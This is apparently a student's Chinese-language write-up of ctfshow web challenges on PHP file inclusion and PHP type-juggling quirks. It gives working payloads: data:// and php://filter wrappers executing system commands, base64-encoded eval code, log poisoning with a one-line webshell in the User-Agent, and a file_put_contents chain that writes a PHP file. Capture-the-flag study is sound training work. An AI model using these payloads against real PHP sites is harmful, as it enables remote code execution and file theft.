web67
与66一样
还是txt文件
文件包含
web78
发现是include()函数,而且没有过滤所以直接用file://插入读取文件的代码,不过先要康康flag在那个文件里
用
data伪协议执行PHP代码?file=data://text/plain,<?php system('ls');?>
可以查看文件,发现flag.php
可以
?file=php://filter/read=convert.base64-encode/resource=flag.php得到flag
web79
这题用str_replace把php变成了???
就直接用data然后编码base64绕过
先查看文件
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==
是flag.php,再用这个<?php system('cat flag.php');,编码后读取flag
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
web80
多过滤了data
日志注入
?file=/var/log/apache2/access.log访问日志路径发现不对
换成?file=/var/log/nginx/access.log
可以,直接在User Agent注入一句话木马,用蚁剑连接
web81
与80一样,可以日志注入
web82
需要竞争环境
没学会
web87
二次编码没学会
web88
这里依然用data协议
data协议构造base64的时候要求不含=和+号,要好好思考构造
我这里用eval GET的方式绕过,不会出现+号,?>后结尾加一个11不会影响代码,还可以消除=号
Cjw/cGhwIGV2YWwoJF9HRVRbJ2NtZCddKTs/PjEx&cmd=system('tac fl0g.php');、
php特性
web89
intval 会从字符串的开始位置解析直到遇到一个非数字字符,如123asd输出123,而且会转化为整数
preg_match当检测的变量是数组的时候会报错,而intval函数当传入的变量也是数组的时候,会返回1,则可以绕过?num[]=1
web90
num不能是4476还要===4476,正好有intval函数在4476后随便个字母即可
web91
这道题从GET参数中获取'cmd',然后检查这个参数是否等于'php'。如果是,它会再次检查这个参数是否完全等于'php'。如果这两个检查都通过,脚本会输出'hacker',否则,它会输出flag。
所以要通过第一个,然后第二个不过
这两个检查使用了不同的正则表达式匹配模式。第一个使用了'/im',这意味着i(忽略大小写)和m(多行模式)。第二个只使用了'i',也就是不忽略大小写,而且只在第一行查找
?cmd=111%0aphp
%0a'是url编码的换行符。
web92
这题有一个==弱等于,所以在4476后加字母就没有区别了,但是intval会把数字转换为整数,所以输入带有小数的4476即可
?num=4476.1
web93
与上题同,小数点绕过
web94
strpos(string,find,start)有三个参数,string是被检查的字符串,find是要被搜索的字符串,start是开始检索的位置
可以看出要有0
所以?num=4476.0
web95
?num=%20010574
百分号用于对特殊字符进行编码。在这种情况下,%20 表示一个空格字符,是URL编码中的空间字符。因此,“%20010574” 实际上是一个包含URL编码空格的字符串,它等同于 " 010574",其中 " " 表示一个空格。
010574 是八进制数代表是十进制4476
web96
php伪协议秒了
?u=php://filter/read=convert.base64-encode/resource=flag.php
web97
想要同时输入两个参数要在第一个参数后加&
php检查两数组是否相等的时候,不会检查指针是否相等,而是会检查元素是否相等(我的猜测是类似于调用str方法再进行对比,因为[1,2]测试了实际上不等于[2,1],而[1]是等于[1]的)
md5无法对数组加密,对数组加密返回的是null
所以直接输入两个不相等的数组即可
web98
根据题目提示直接?1=&
post HTTP_FLAG=flag
web99
array_push——往数组尾部插入元素
rand(1,$i)——随机生成1-877之间的数
//所以array_push($allow, rand(1,$i))就是往数组中插入1-877之间的数字
in_array——搜索数组中是否存在指定的值:
in_array(search,array,type)
search为指定搜索的值
array为指定检索的数组
type为TRUE则 函数还会检查 search的类型是否和 array中的相同
这题没有type,直接6.php,再在post里面用content写入一句话木马,wp说有概率能成功,反正我没成功
web100
如果变量是数字或数字字符串(包括整数和浮点数),is_numeric() 函数会返回 true,否则返回 false。
v2,v3不需要是数字,因为and运算时v0已经计算完毕了
可以用/* */将ctfshow注释了
v2=var_dump($ctfshow)/*&v3=*/;
web101
用new ReflectionClass($class)这个语法可获得类的反射对象(包含元数据信息)
元数据对象(包含class的所有属性/方法的元数据信息)。
?v1=123&v2=echo new ReflectionClass&v3=; 结果得到下面的代码看不懂
Class [ class ctfshow ] { @@ /var/www/html/ctfshow.php 15-17 - Constants [0] { } - Static properties [0] { } - Static methods [0] { } - Properties [3] { Property [ public $dalaoA ] Property [ public $dalaoB ] Property [ public $flag_d7846f9f0x2d51830x2d46930x2da9eb0x2d72683778be9 ] } - Methods [0] { } }
web102
substr() 字符串截取,如上意思就是把v2前两个字符去除
call_user_func() 调用方法或变量,第一个参数是调用的对象,第二个参数是被调用对象的参数
file_put_contents() 用来写文件进去,第一个参数是文件名,第二个参数是需要写进文件中的内容 (文件名支持伪协议)
所以通过file_put_contents()函数来创建文件,文件中注入攻击代码即可
v1是调用方法
v2是数字字符串,且是写进文件中的内容 v3是文件名(可通过伪协议来创建)
v3=php://filter/write=convert.base64-decode/resource=2.php(直接创建一个php文件)
v2=(<?=cat *
;查看页面源码,转为base64为PD89YGNhdCAqYDs,再转为16进制的ascii码115044383959474e6864434171594473,因为字符串截取所以随便开头加两个数字,但要大于0,而且is_numeric()
:处理的数字有限制,要短,还要是偶数
v1=hex2bin,这是将把参数数字字符串还原为base64码
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
post v1=hex2bin
然后访问url/2.php,查看源代码获得flag